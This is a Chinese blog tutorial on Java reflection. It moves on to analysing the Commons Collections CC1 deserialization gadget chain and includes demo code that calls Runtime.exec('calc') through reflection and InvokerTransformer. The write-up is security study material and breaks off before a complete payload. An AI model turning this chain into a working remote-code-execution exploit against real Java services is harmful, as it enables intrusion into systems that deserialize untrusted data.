反射机制
概念:
反射是Java的特征之一,是一种间接操作目标对象的机制,核心是JVM在运行状态的时候才动态加载类,对于任意一个类都能够知道这个类所有的属性和方法,并且对于任意一个对象,都能够调用它的方法/访问属性。这种动态获取信息以及动态调用对象方法的功能成为Java语言的反射机制。通过使用反射我们不仅可以获取到任何类的成员方法(Methods)、成员变量(Fields)、构造方法(Constructors)等信息,还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等。
解释:
下图是java运行的一个流程图:

类文件会被javac编译成class文件 不过值得注意的是class文件还会自动生成一个Class对象 里面有各种变量和方法
1 2 3
| fields[]:存了你定义的各种变量。 methods[]:存了你写的各种方法。 constructors[]:存了构造函数。
|
一旦你拿到了Class对象你就可以用Class对象中的获取成员变量Field,成员方法Method和构造方法Constructor等方法,再去动态获取一个类或者调用一个类的属性,变量,构造方法等方式。
反射机制本质是带给我们便利,但是便利可能就会带来安全隐患,所以我们可以使用Java的反射机制来绕过一些安全权限机制检查以及一些操作。
获取Class对象的方法
1.通过类名来获取
1
| Class p1 = People.class;
|
2.通过getClass()方法来获取
不过前提是得有一个对象
1 2
| Peole p2 = new People(); Class c2 = p2.getClass();
|
3.通过动态加载类
调用Class类中的forName()方法
1 2
| Class c3 = Class.forName("com.reflectdemo.ReflectDemo");
|
示例代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public class ReflectTemo { public static void main(String[] args) throws ClassNotFoundException { Class c1 = ReflectTemo.class; System.out.println("c1: " + c1.getName());
ReflectTemo demo = new ReflectTemo(); Class c2 = demo.getClass(); System.out.println("c2: " + c2.getName());
Class c3 = Class.forName("ReflectTemo"); System.out.println("c3: " + c3.getName()); } }
|
获取filed
1 2 3 4 5 6 7
| Field[] getFields() :获取所有public修饰的成员变量
Field[] getDeclaredFields() 获取所有的成员变量,不考虑修饰符
Field getField(String name) 获取指定名称的 public修饰的成员变量
Field getDeclaredField(String name) 获取指定的成员变量
|
示例代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| import java.lang.reflect.Field;
public class FieldTest { public String name; public String profession; protected int age; private String number; char sex;
public static void main(String[] args){ try{
Class c1 = Class.forName("FieldTest");
Field[] fieldArray1 = c1.getDeclaredFields(); Field[] fieldArray2 = c1.getFields();
for (Field field : fieldArray1){ System.out.println(field.getName()); }
System.out.println("-------分割线---------");
for (Field field : fieldArray2){ System.out.println(field.getName()); } System.out.println("-------分割线---------");
Field fieldArray3 = c1.getField("name"); System.out.println(fieldArray3.getName()); System.out.println("-------分割线---------");
Field fieldArray4 = c1.getDeclaredField("number"); System.out.println(fieldArray4.getName()); } catch (Exception e) { e.printStackTrace(); } } }
|
获取成员方法Method
1 2 3 4 5 6 7
| Method getMethod(String name, 类<?>... parameterTypes)
Method getDeclaredMethod(String name, 类<?>... parameterTypes)
Method[] getMethods()
Method[] getDeclaredMethods()
|
示例代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import java.lang.reflect.Constructor; public class ConstructorTest { public ConstructorTest() { System.out.println("无参构造函数"); } public ConstructorTest(String name) { System.out.println("有参构造函数" + name); } private ConstructorTest(boolean n) { System.out.println("私有构造函数"); } public static void main(String[] args) { try { Class c1 = Class.forName("ConstructorTest"); Constructor[] constructors1 = c1.getDeclaredConstructors(); Constructor[] constructors2 = c1.getConstructors(); for (Constructor c : constructors1) { System.out.println(c); } System.out.println("-------分割线---------"); for (Constructor c : constructors2) { System.out.println(c); } System.out.println("-------分割线---------"); Constructor constructors3 = c1.getConstructor(String.class); System.out.println(constructors3); System.out.println("-------分割线---------"); Constructor constructors4 = c1.getDeclaredConstructor(boolean.class); System.out.println(constructors4); } catch (Exception e) { e.printStackTrace(); } } }
|
反射创建类对象
使用Class对象的newInstance()方法来进行创建类对象。
1 2
| Class c1 = Class.forName('MethodTest'); Object m1 = c1.newInstance();
|
invoke()方法 构造形式如下:
1
| public Object invoke(Object obj, Object... args)
|
利用反射调用runtime示例
请使用java 1.8
1 2 3 4 5 6 7 8 9 10 11 12
| import java.lang.reflect.Constructor;
public class RuntimeTest { public static void main(String[] args) throws Exception { Class c1 = Class.forName("java.lang.Runtime"); Constructor m = c1.getDeclaredConstructor(); m.setAccessible(true); Object runtimeInstance = m.newInstance(); c1.getMethod("exec", String.class).invoke(runtimeInstance, "calc"); } }
|
CC1 链
尾部是在Transform接口的InvokerTransformer子类 发现里面的transform()有反射机制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var4) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } } } }
|
写个demo测试能否被调用
1 2 3 4 5 6 7 8
| import org.apache.commons.collections.functors.InvokerTransformer; public class CC1Test { public static void main(String[] args) { Runtime runtime = Runtime.getRuntime(); InvokerTransformer n1 = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); n1.transform(runtime); } }
|
接下就是继续找不同类的trasform()
在TransformedMap类找到checkSetValue方法调用transform方法

1 2 3
| protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }
|

valueTransformer是一个常量 他属性是protected 所以如果要调用的话还需要找到调用其构造方法的类
1 2 3
| public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
|
顶部的第一个方法 decorate就实现了调用构造方法
但是decorate没有任何东西调用 回到上一步checkvalue
找到 调用 checkSetValue 方法的类是 AbstractInputCheckedMapDecorator 类中的一个内部类 MapEntry
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; }
public Object setValue(Object value) { value = this.parent.checkSetValue(value); return this.entry.setValue(value); } } }
|
因为我直接跟着追的 这里直接给出结论:
setValue() **实际上就是在 Map 中对一组 entry(键值对)**进行 setValue() 操作。
所以当我们调用decorete方法的时候 对map进行遍历的话就可以走到setValue() 从而调用checkvalue()方法
This article is licensed under CC BY-NC-SA 4.0. Please include attribution when reposting.